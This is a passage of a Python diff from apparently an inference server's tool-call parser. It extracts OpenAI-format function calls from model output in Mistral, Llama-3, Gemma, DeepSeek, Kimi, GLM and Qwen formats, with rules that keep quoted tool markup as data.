+    # DeepSeek/Kimi markers are foreign to a JSON envelope too: a marker inside a leading
+    # object routes through the same guard (and, if disabled, the drop-and-parse-the-tail
+    # recursion, so a real call after the object is still reached).
+    marker = _EMBEDDED_MARKER_RE.search(content)
+    if marker is not None and (first is None or marker.start() < first):
+        first = marker.start()
+    return first
+
+
+def _xml_signal_inside_leading_bare_json(content: str) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside a
+    LEADING bare-JSON call object or JSON answer -- data, not a real call
+    (sibling of ``_xml_signal_inside_leading_mistral``)."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if i >= n or content[i] not in "{[":
+        return False
+    if content[i] == "[":
+        # A leading array is only ever a structured answer; its literals are data.
+        end = _balanced_bracket_end(content, i)
+        if end is None:
+            return False
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+        first_xml = _first_foreign_tool_signal(content)
+        trig = content.find(_MISTRAL_TRIGGER)
+        if trig >= 0 and (first_xml is None or trig < first_xml):
+            first_xml = trig
+        return first_xml is not None and i < first_xml < end
+    end = _balanced_brace_end(content, i)
+    if end is None:
+        return False
+    if _top_level_bare_json_name(content[i : end + 1]) is None:
+        # A NAMELESS object that parses as real JSON is a structured answer / envelope too:
+        # quoted markup is data, and the decline path drops it and parses the tail.
+        # Non-JSON braced prose keeps the old behaviour.
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+    first_xml = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a JSON envelope too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first_xml is None or trig < first_xml):
+        first_xml = trig
+    # Inside the balanced body the signal is quoted data; after the closed object the
+    # leading call still owns the turn (mirrors the leading-Mistral rule).
+    return first_xml is not None and i < first_xml
+
+
+def _signal_inside_leading_wrapperless_gemma(
+    content: str, enabled_tool_names: Optional[set]
+) -> bool:
+    """True when the first foreign tool signal is a quoted literal inside (or
+    after) a LEADING enabled wrapper-less Gemma call (sibling of the
+    Mistral/bare-JSON leading guards). Markerless form, so gated on an enabled
+    name (``None`` keeps the name-agnostic behaviour)."""
+    first = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a Gemma call too (its parser runs first).
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return False
+    # A preamble before ``call:NAME{...}`` is normal; what matters is an ENABLED balanced
+    # call beginning before the first foreign signal.
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return False
+        if enabled_tool_names is not None and m.group(1) not in enabled_tool_names:
+            cursor = m.end()
+            continue
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            return False
+        if m.end() - 1 < first <= end:
+            return True
+        # An enabled call that CLOSES before the signal still owns the turn (inside-or-after
+        # rule, as for closed bare-JSON/Mistral envelopes), gated on an enabled name.
+        return enabled_tool_names is not None and end < first
+
+
+def _disabled_gemma_call_end_containing_signal(
+    content: str, enabled_tool_names: Optional[set]
+) -> int | None:
+    """End offset (exclusive) of the earliest DISABLED wrapper-less Gemma call
+    whose balanced body contains the first foreign signal, else None. A disabled
+    name is prose, so the quoted literal is data: the caller drops the span and
+    recurses on the tail. An ENABLED call defers to the enabled-call guard."""
+    if enabled_tool_names is None:
+        return None
+    first = _first_foreign_tool_signal(content)
+    # Mirror the enabled-call guard: the Mistral trigger is foreign here too.
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first is None or trig < first):
+        first = trig
+    if first is None:
+        return None
+    cursor = 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None or m.start() > first:
+            return None
+        if m.group(1) in enabled_tool_names:
+            return None
+        end = _gemma_body_brace_end(content, m.end() - 1)
+        if end is None:
+            cursor = m.end()
+            continue
+        if m.end() - 1 < first <= end:
+            return end + 1
+        cursor = end + 1
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Return OpenAI-format tool calls, first-match wins so calls are never double-counted.
+
+    ``allow_incomplete=True`` (default) heals truncated calls (missing close tag /
+    unclosed parameter); ``False`` accepts only well-formed closed calls (trailing
+    prose tolerated), matching llama-server's strict path when Auto-Heal is off.
+
+    ``enabled_tool_names`` gates only the markerless Llama-3.2 bare-JSON form (the
+    marker-based forms carry an explicit signal, so a disabled-tool name there is a
+    real call attempt). ``None`` keeps the name-agnostic behaviour."""
+    # Drop Magistral [THINK]...[/THINK] BEFORE dispatch: a rehearsed call inside it must
+    # never be promoted, and the parse path must agree with the display strip.
+    content = _strip_mistral_reasoning(content)
+
+    # A leading bare-JSON value is decided FIRST: a string argument quoting tool markup
+    # (XML or a Mistral trigger) must stay data, so the bare-JSON parser takes the outer
+    # call before any other pass. Precedes the Mistral guard, whose preamble tolerance
+    # would otherwise claim a trigger quoted inside the leading object.
+    if _xml_signal_inside_leading_bare_json(content):
+        calls = _parse_llama3_bare_json(
+            content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+        )
+        if calls:
+            return calls
+        # Disabled/example name: the leading object is content. Drop it and parse the tail.
+        i = 0
+        while i < len(content) and content[i] in " \t\n\r":
+            i += 1
+        # The guard guarantees a balanced leading value (object or array).
+        end = (_balanced_brace_end if content[i] == "{" else _balanced_bracket_end)(content, i)
+        return parse_tool_calls_from_text(
+            content[end + 1 :],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A leading enabled wrapper-less Gemma call is decided BEFORE the Mistral guard: its
+    # body reads as prose to the preamble tolerance below, so a quoted [TOOL_CALLS] would
+    # otherwise steal the turn.
+    if _signal_inside_leading_wrapperless_gemma(content, enabled_tool_names):
+        calls = _parse_gemma_tool_calls(
+            content,
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+        if calls:
+            return calls
+
+    # A DISABLED wrapper-less Gemma call is prose: drop the span and parse the tail BEFORE
+    # the Mistral guard, whose preamble tolerance would otherwise parse a quoted trigger.
+    _prose_end = _disabled_gemma_call_end_containing_signal(content, enabled_tool_names)
+    if _prose_end is not None:
+        return parse_tool_calls_from_text(
+            content[_prose_end:],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its
+    # arguments or trailing prose is not promoted over it, nor does a prose preface forfeit it.
+    if _xml_signal_inside_leading_mistral(content):
+        calls = _parse_mistral_tool_calls(
+            content, id_offset = id_offset, allow_incomplete = allow_incomplete
+        )
+        if calls:
+            # A bare rehearsal ``name[ARGS]{..}`` after the Mistral call is a peer tool call,
+            # not foreign XML the owns-the-turn guard protects against: promote it too so a
+            # Mistral call and a rehearsal in one message both parse.
+            calls.extend(
+                _parse_bare_rehearsals(
+                    content,
+                    id_offset = id_offset + len(calls),
+                    enabled_tool_names = enabled_tool_names,
+                )
+            )
+            return calls
+
+    # DeepSeek/Kimi markers are unique, so try them first -- unless an outer envelope
+    # opens before the first marker (then the marker is argument data).
+    if not _marker_inside_leading_envelope(content, enabled_tool_names):
+        # Dispatch by earliest opener so a quoted DS example inside a Kimi call (or vice
+        # versa) can't hijack the turn via fixed parser order.
+        _ds = _DEEPSEEK_BEGIN_RE.search(content)
+        _ds_pos = _ds.start() if _ds else len(content)
+        _km_section = content.find(_KIMI_SECTION_BEGIN)
+        _km_bare = content.find(_KIMI_CALL_BEGIN)
+        _km_pos = min(p for p in (_km_section, _km_bare, len(content)) if p >= 0)
+        pre_pass = [
+            (_ds_pos, _parse_deepseek_tool_calls),
+            (_km_pos, _parse_kimi_tool_calls),
+        ]
+        pre_pass.sort(key = lambda pair: pair[0])
+        for _pos, parser in pre_pass:
+            calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+            if calls:
+                return calls
+
+    # A leading MiniCPM/MiniMax attribute-form call owns the turn: tool_healing doesn't know
+    # the <function name="..."> wrapper, so a <tool_call> quoted in its parameter would beat
+    # the outer call. Any earlier signal keeps normal order.
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None:
+        first_other = None
+        for sig in (
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            _MISTRAL_TRIGGER,
+        ):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        if first_other is None or attr.start() < first_other:
+            calls = _parse_function_xml(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # A leading Llama-3 ``<|python_tag|>`` call owns the turn like the others: markup quoted
+    # in a ``.call(...)`` argument is not promoted. tool_healing does not know the tag, so
+    # gate it here. A foreign signal before the tag keeps normal order.
+    py_tag = content.find(_LLAMA3_PYTHON_TAG)
+    if py_tag >= 0:
+        first_other = None
+        for sig in ("<tool_call>", "<|tool_call>", "<function=", _MISTRAL_TRIGGER):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        attr = _ATTR_FUNC_OPEN_RE.search(content)
+        if attr is not None and (first_other is None or attr.start() < first_other):
+            first_other = attr.start()
+        if first_other is None or py_tag < first_other:
+            calls = _parse_llama3_python_tag(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # Qwen/Hermes, Qwen3.5 XML, Gemma 4, plus Mistral [TOOL_CALLS] / bare rehearsal
+    # ``name[ARGS]{json}`` use the shared tool_healing parser (strict/Auto-Heal contract +
+    # nested-marker, trailing-prose, and ``<|"|>`` quoted-string handling the GGUF path
+    # relies on). ``enabled_tool_names`` gates the ambiguous bare-rehearsal form so an
+    # inactive ``foo[ARGS]{..}`` stays prose.
+    calls = _tool_healing.parse_tool_calls_from_text(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
+    if calls:
+        return calls
+
+    # Formats tool_healing does not cover; these run only after it finds
+    # nothing, so a strict-rejected call is never re-healed here. Blank any
+    # JSON/Gemma marker coverage first: markup inside a marker's span (even one
+    # that failed to parse) is that call's data, not a sibling, so a nested
+    # ``<function=...>`` / ``<|python_tag|>`` / ``[TOOL_CALLS]`` must not be promoted.
+    fallback_content = content
+    coverage = _tool_healing.marker_coverage(content)
+    if coverage:
+        chars = list(content)
+        for cov_start, cov_end in coverage:
+            for i in range(cov_start, min(cov_end, len(chars))):
+                chars[i] = " "
+        fallback_content = "".join(chars)
+    for parser in (
+        _parse_glm_tool_calls,  # GLM 4.x <tool_call>name
+        _parse_function_xml,  # <function name="..."> attribute form
+        _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
+        _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
+    ):
+        calls = parser(fallback_content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+        if calls:
+            return calls
+
+    # Llama-3.2 bare ``{"name":..., "parameters":...}`` (strict shape). Only a LEADING call
+    # object matches and owns the turn, so an enabled ``call:NAME{...}`` in its arguments
+    # stays data (Gemma never starts ``{``).
+    calls = _parse_llama3_bare_json(
+        content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+    )
+    if calls:
+        return calls
+
+    # Gemma wrapper-less ``call:NAME{...}``: markerless, so the same enabled-name gate applies.
+    return _parse_gemma_tool_calls(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+        enabled_tool_names = enabled_tool_names,
+    )
+
+
+def _parse_tool_call_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    for m in _TC_JSON_START_RE.finditer(content):
+        brace_start = m.end() - 1
+        end = _balanced_brace_end(content, brace_start)
+        if end is None:
+            continue
+        # Strict mode: a balanced JSON body that never closed its ``<tool_call>``
+        # is a truncated call, not a finished one. Trailing prose after the close
+        # is still tolerated (matches the GGUF strict path).
+        if not allow_incomplete and not content[end + 1 :].lstrip().startswith("</tool_call>"):
+            continue
+        try:
+            obj = json.loads(content[brace_start : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        name = obj.get("name", "")
+        # Accept ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
+        args = obj.get("arguments")
+        if args is None:
+            args = obj.get("parameters", {})
+        if isinstance(args, dict):
+            args_str = json.dumps(args)
+        elif isinstance(args, str):
+            args_str = args
+        else:
+            args_str = json.dumps({"value": args})
+        if not name:
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+    return out
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim one wrapping newline the template adds around an XML parameter value
+    (``<parameter=k>\nVALUE\n</parameter>``), preserving inner indentation.
+    ``str.strip()`` destroyed code/diff indentation; SGLang's qwen3_coder trims only
+    the wrapping newline."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _inside_open_parameter(text: str, pos: int) -> bool:
+    """True if ``pos`` sits inside an unclosed ``<parameter>``/``<param>`` block --
+    i.e. a ``<function>`` / ``<parameter>`` opener at ``pos`` is a literal inside an
+    argument value (e.g. code that prints tool-call XML), not a real nested call.
+    Compares the last parameter opener before ``pos`` against the last
+    parameter/function close before it."""
+    last_param_open = -1
+    for m in _TC_PARAM_START_RE.finditer(text, 0, pos):
+        last_param_open = m.start()
+    if last_param_open < 0:
+        return False
+    # The parameter's OWN close tag decides: while it closes after ``pos`` the position is
+    # argument data, even across several literal function closes. Only an unclosed
+    # parameter (heal mode) falls back to the first function close.
+    own_closes = [
+        c
+        for c in (
+            text.find("</parameter>", last_param_open),
+            text.find("</param>", last_param_open),
+        )
+        if c >= 0
+    ]
+    if own_closes:
+        return min(own_closes) > pos
+    func_closes = [
+        c
+        for c in (
+            text.find("</function>", last_param_open),
+            text.find("</tool_call>", last_param_open),
+        )
+        if c >= 0
+    ]
+    return not func_closes or pos < min(func_closes)
+
+
+def _parse_function_xml(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    # Skip ``<function ...>`` openers that are literals inside an open parameter value,
+    # else the nested marker is promoted to a second call and truncates the real argument.
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+    ]
+    for idx, fm in enumerate(func_starts):
+        # group(1) is ``<function=name>``, group(2) is ``<function name="...">``.
+        func_name = fm.group(1) or fm.group(2)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        # The call ends at the FIRST </function> / </tool_call> not inside an open
+        # parameter: a literal close in a code/search argument is skipped as data, and
+        # prose after the real close isn't folded into the last argument (mirrors
+        # _strip_function_xml_calls and tool_healing._func_close_index).
+        close_match = None
+        for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func):
+            if not _inside_open_parameter(content, cm.start()):
+                close_match = cm
+                break
+        has_close = close_match is not None
+        if has_close:
+            body_end = close_match.start()
+        else:
+            body_end = min(len(content), next_func)
+        # Strict mode: an unclosed function call is truncated -- do not heal it.
+        if not allow_incomplete and not has_close:
+            continue
+        body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end])
+
+        args: dict = {}
+        param_unclosed = False
+        # A ``<parameter>`` opener inside an open parameter value is literal text.
+        param_starts = [
+            pm
+            for pm in _TC_PARAM_START_RE.finditer(body)
+            if not _inside_open_parameter(body, pm.start())
+        ]
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            raw_val = body[pm.end() :]
+            if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                param_unclosed = True
+            val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+            args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+        else:
+            for pidx, pm in enumerate(param_starts):
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                raw_val = body[val_start:next_param]
+                if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                    param_unclosed = True
+                val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+                args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+
+        # Strict mode: a dangling parameter means the call was cut off; a closed
+        # zero-parameter call stays valid.
+        if not allow_incomplete and param_unclosed:
+            continue
+
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": func_name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
+    """One ``.call`` value (string/number/true/false/null) at ``body[p:]``.
+    Returns ``(value, consumed_len)`` or ``(None, None)`` if none matches."""
+    if p >= n:
+        return None, None
+    if body[p] == '"':
+        # ``"((?:\\.|[^"\\])*)"`` by hand so an unterminated quote is O(n), not O(n^2).
+        j = p + 1
+        while j < n:
+            c = body[j]
+            if c == "\\":
+                # ``\\.`` needs a following non-newline char; else the body can't match.
+                if j + 1 >= n or body[j + 1] == "\n":
+                    return None, None
+                j += 2
+                continue
+            if c == '"':
+                raw = body[p + 1 : j]
+                # json.loads keeps \n/\uXXXX escapes and literal UTF-8 (emoji/CJK) intact.
+                try:
+                    return json.loads('"' + raw + '"'), j + 1 - p
+                except (json.JSONDecodeError, ValueError):
+                    return raw, j + 1 - p
+            j += 1
+        return None, None  # unterminated
+    nm = _LLAMA3_NUM_RE.match(body, p)
+    if nm:
+        v = nm.group(0)
+        # Scientific notation (1e-3, -2E+4, 0.5e2) and decimals decode as float; a bare
+        # integer stays int. ``"." in v`` alone missed the exponent forms (1e-3 -> 1).
+        return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p
+    lm = _LLAMA3_LIT_RE.match(body, p)
+    if lm:
+        return {"true": True, "false": False, "null": None}[lm.group(0)], lm.end() - p
+    return None, None
+
+
+def _parse_llama3_kv_args(body: str) -> dict[str, Any]:
+    """``k=v, ...`` kwargs from a ``.call(...)`` body, left to right (later keys win).
+    Linear hand-scan replacing the quadratic ``_LLAMA3_KV_RE.finditer`` walk."""
+    args: dict[str, Any] = {}
+    n = len(body)
+    i = 0
+    while i < n:
+        km = _LLAMA3_KEY_RE.match(body, i)
+        if km is None:
+            i += 1
+            continue
+        p = _LLAMA3_WS_RE.match(body, km.end()).end()
+        if p >= n or body[p] != "=":
+            i = km.end()
+            continue
+        p = _LLAMA3_WS_RE.match(body, p + 1).end()
+        val, length = _llama3_kv_value(body, p, n)
+        if length is None:
+            i = km.end()
+            continue
+        args[km.group(0)] = val
+        i = p + length
+    return args
+
+
+def _parse_llama3_python_tag(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse the Llama-3 emissions: ``<|python_tag|>NAME.call(...)`` (built-in),
+    ``<|python_tag|>{"name":..., "parameters":...}`` (custom), multi-call via
+    ``; ``, ``parameters`` or ``arguments`` key."""
+    out: list[dict] = []
+    if _LLAMA3_PYTHON_TAG not in content:
+        return out
+
+    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` and optionally
+    #    ``; ``-chained within one emission. Anchoring to the tag boundary (not a free scan)
+    #    keeps a literal ``<|python_tag|>x.call(...)`` quoted in a custom-form JSON argument
+    #    from being mistaken for a real built-in call.
+    pos = content.find(_LLAMA3_PYTHON_TAG)
+    truncated = False
+    while pos >= 0 and not truncated:
+        head = _LLAMA3_PY_CALL_HEAD_RE.match(content, pos + len(_LLAMA3_PYTHON_TAG))
+        if head is None:
+            # Tag is the custom JSON form (``{...}``) or noise -- leave it to step 2.
+            break
+        name = head.group(1)
+        open_idx = head.end()
+        i = open_idx
+        while True:
+            i = open_idx
+            depth = 1
+            in_string = False
+            esc = False
+            while i < len(content) and depth > 0:
+                ch = content[i]
+                if in_string:
+                    if esc:
+                        esc = False
+                    elif ch == "\\":
+                        esc = True
+                    elif ch == '"':
+                        in_string = False
+                else:
+                    if ch == '"':
+                        in_string = True
+                    elif ch == "(":
+                        depth += 1
+                    elif ch == ")":
+                        depth -= 1
+                        if depth == 0:
+                            break
+                i += 1
+            # Truncated ``.call(...)`` with no closing paren: reject in strict mode
+            # instead of executing a partial.
+            if not allow_incomplete and depth > 0:
+                truncated = True
+                break
+            body = content[open_idx:i]
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(_parse_llama3_kv_args(body)),
+                    },
+                }
+            )
+            # ``)`` then optional ``; NAME.call(`` chains the next built-in call.
+            chain = _LLAMA3_CALL_CHAIN_RE.match(content, i + 1)
+            if chain is None:
+                break
+            name = chain.group(1)
+            open_idx = chain.end()
+        # Past the consumed region: a second ``<|python_tag|>`` may carry more calls.
+        pos = content.find(_LLAMA3_PYTHON_TAG, i + 1)
+
+    # 2. ``<|python_tag|>{"name":..., "parameters":...}``. ``raw_decode`` peels multiple
+    #    ``; ``-separated objects from one emission.
+    if not out:
+        decoder = json.JSONDecoder()
+        idx = content.find(_LLAMA3_PYTHON_TAG)
+        while idx >= 0:
+            search_from = idx + len(_LLAMA3_PYTHON_TAG)
+            cursor = search_from
+            while cursor < len(content):
+                brace = content.find("{", cursor)
+                if brace < 0:
+                    break
+                # Stop at the next ``<|python_tag|>``.
+                next_tag = content.find(_LLAMA3_PYTHON_TAG, search_from, brace)
+                if next_tag >= 0:
+                    break
+                try:
+                    obj, end_offset = decoder.raw_decode(content[brace:])
+                except (json.JSONDecodeError, ValueError):
+                    cursor = brace + 1
+                    continue
+                if not isinstance(obj, dict):
+                    cursor = brace + end_offset
+                    continue
+                name = obj.get("name") or obj.get("function") or ""
+                args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {})
+                # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value.
+                if isinstance(args, dict):
+                    args_str = json.dumps(args)
+                elif isinstance(args, str):
+                    args_str = args
+                else:
+                    cursor = brace + end_offset
+                    continue
+                if name:
+                    out.append(
+                        {
+                            "id": f"call_{id_offset + len(out)}",
+                            "type": "function",
+                            "function": {"name": name, "arguments": args_str},
+                        }
+                    )
+                cursor = brace + end_offset
+            idx = content.find(_LLAMA3_PYTHON_TAG, cursor)
+    return out
+
+
+# Llama-3 special-token sentinels (chainable, any order) plus the role label the
+# template inserts between ``<|start_header_id|>`` and ``<|end_header_id|>``.
+_LLAMA3_BARE_JSON_SENTINELS = (
+    "<|begin_of_text|>",
+    "<|eot_id|>",
+    "<|start_header_id|>",
+    "<|end_header_id|>",
+    "<|eom_id|>",
+)
+_LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython")
+
+
+def strip_llama3_leading_sentinels(content: str) -> str:
+    """Strip leading Llama-3 special-token sentinels (and the role label after
+    ``<|start_header_id|>``) that can leak from a prior turn before a bare-JSON tool
+    call. Shared by the parser and the streaming buffering guards so a
+    sentinel-prefixed ``{"name":...}`` is recognised the same everywhere."""
+    stripped = content.lstrip()
+    while True:
+        stripped = stripped.lstrip()
+        matched = False
+        for sentinel in _LLAMA3_BARE_JSON_SENTINELS:
+            if stripped.startswith(sentinel):
+                stripped = stripped[len(sentinel) :]
+                if sentinel == "<|start_header_id|>":
+                    for role in _LLAMA3_HEADER_ROLES:
+                        if stripped.startswith(role):
+                            stripped = stripped[len(role) :]
+                            break
+                matched = True
+                break
+        if not matched:
+            return stripped
+
+
+def _parse_llama3_bare_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Llama-3.2 ``custom_tools`` bare ``{"name":.., "parameters":{..}}`` (no ``<|python_tag|>``),
+    strict so prose/echoes don't fire. ``enabled_tool_names`` gates on the parsed name so an
+    ordinary JSON answer isn't misread as a call to a disabled tool; ``None`` is name-agnostic."""
+    out: list[dict] = []
+    stripped = strip_llama3_leading_sentinels(content)
+    if not stripped.startswith("{"):
+        return out
+
+    decoder = json.JSONDecoder()
+    cursor = 0
+    n = len(stripped)
+    while cursor < n:
+        # Skip whitespace and the Llama-3 ``;`` inter-call separator.
+        while cursor < n and stripped[cursor] in " \t\n\r;":
+            cursor += 1
+        if cursor >= n or stripped[cursor] != "{":
+            break
+        try:
+            obj, end_offset = decoder.raw_decode(stripped[cursor:])
+        except (json.JSONDecodeError, ValueError):
+            break
+        if not isinstance(obj, dict):
+            break
+        name = obj.get("name") or obj.get("function") or ""
+        if not isinstance(name, str) or not name:
+            break
+        # Markerless JSON is ambiguous: treat it as a call only when the name is an enabled
+        # tool, else it is an ordinary JSON answer.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            break
+        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or
+        # JSON-string of one (OpenAI). Looser would fire on ``{"name":"x","parameters":"sentence"}``.
+        if "parameters" in obj:
+            args = obj.get("parameters")
+            if not isinstance(args, dict):
+                break
+            args_str = json.dumps(args)
+        elif "arguments" in obj:
+            args = obj.get("arguments")
+            if isinstance(args, dict):
+                args_str = json.dumps(args)
+            elif isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (json.JSONDecodeError, ValueError):
+                    break
+                if not isinstance(parsed, dict):
+                    break
+                args_str = args
+            else:
+                break
+        else:
+            break
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+        cursor += end_offset
+    return out
+
+
+def _parse_mistral_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse all Mistral emissions: pre-v11 ``[TOOL_CALLS][...]`` / ``[TOOL_CALLS]{...}``
+    and v11+ ``[TOOL_CALLS]name{json}`` / ``[TOOL_CALLS]name[ARGS]{json}``."""
+    out: list[dict] = []
+    content = _strip_mistral_reasoning(content)
+    idx = content.find(_MISTRAL_TRIGGER)
+    if idx < 0:
+        return out
+
+    # Disambiguate the first occurrence: array / single object (pre-v11), or bare-name (v11+).
+    j = idx + len(_MISTRAL_TRIGGER)
+    k = j
+    while k < len(content) and content[k] in " \t\n\r":
+        k += 1
+    if k >= len(content):
+        return out
+
+    if content[k] == "[":
+        return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete)
+
+    if content[k] == "{":
+        # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs.
+        end = _balanced_brace_end(content, k)
+        if end is not None:
+            try:
+                obj = json.loads(content[k : end + 1])
+                if isinstance(obj, dict) and obj.get("name"):
+                    _consume_mistral_call(content[k : end + 1], out, id_offset)
+                    return out
+            except (json.JSONDecodeError, ValueError):
+                pass
+
+    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or
+    # ``name[ARGS]{json}`` after each trigger.
+    pos = idx
+    while pos >= 0:
+        cur = pos + len(_MISTRAL_TRIGGER)
+        nm = _MISTRAL_V11_NAME_RE.match(content, cur)
+        if not nm:
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        name = nm.group(1)
+        after_name = nm.end()
+        after_name = _skip_mistral_call_id(content, after_name)
+        if content.startswith(_MISTRAL_ARGS_MARKER, after_name):
+            after_name += len(_MISTRAL_ARGS_MARKER)
+        while after_name < len(content) and content[after_name] in " \t\n\r":
+            after_name += 1
+        if after_name >= len(content) or content[after_name] != "{":
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        end = _balanced_brace_end(content, after_name)
+        if end is None:
+            break
+        try:
+            args = json.loads(content[after_name : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        if not isinstance(args, dict):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(args),
+                },
+            }
+        )
+        pos = content.find(_MISTRAL_TRIGGER, end + 1)
+    return out
+
+
+def _parse_mistral_array(
+    content: str,
+    start: int,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Pre-v11 ``[TOOL_CALLS] [{...}, ...]`` array form."""
+    out: list[dict] = []
+    j = start
+    depth = 0
+    in_string = False
+    esc = False
+    while j < len(content):
+        ch = content[j]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    break
+        j += 1
+    # An unclosed array (no matching ]) is a truncated call. In strict mode reject it
+    # instead of recovering objects by hand below.
+    if not allow_incomplete and depth != 0:
+        return out
+    body = content[start : j + 1] if depth == 0 else content[start:]
+
+    try:
+        arr = json.loads(body)
+        if isinstance(arr, list):
+            for obj in arr:
+                if isinstance(obj, dict):
+                    _consume_mistral_call(json.dumps(obj), out, id_offset)
+        return out
+    except (json.JSONDecodeError, ValueError):
+        if not allow_incomplete:
+            return out
+
+    # Healing path for unclosed arrays: walk top-level objects, advancing past each balanced
+    # ``{...}`` instead of re-scanning from every ``{`` (quadratic ReDoS).
+    pos = 0
+    blen = len(body)
+    while pos < blen:
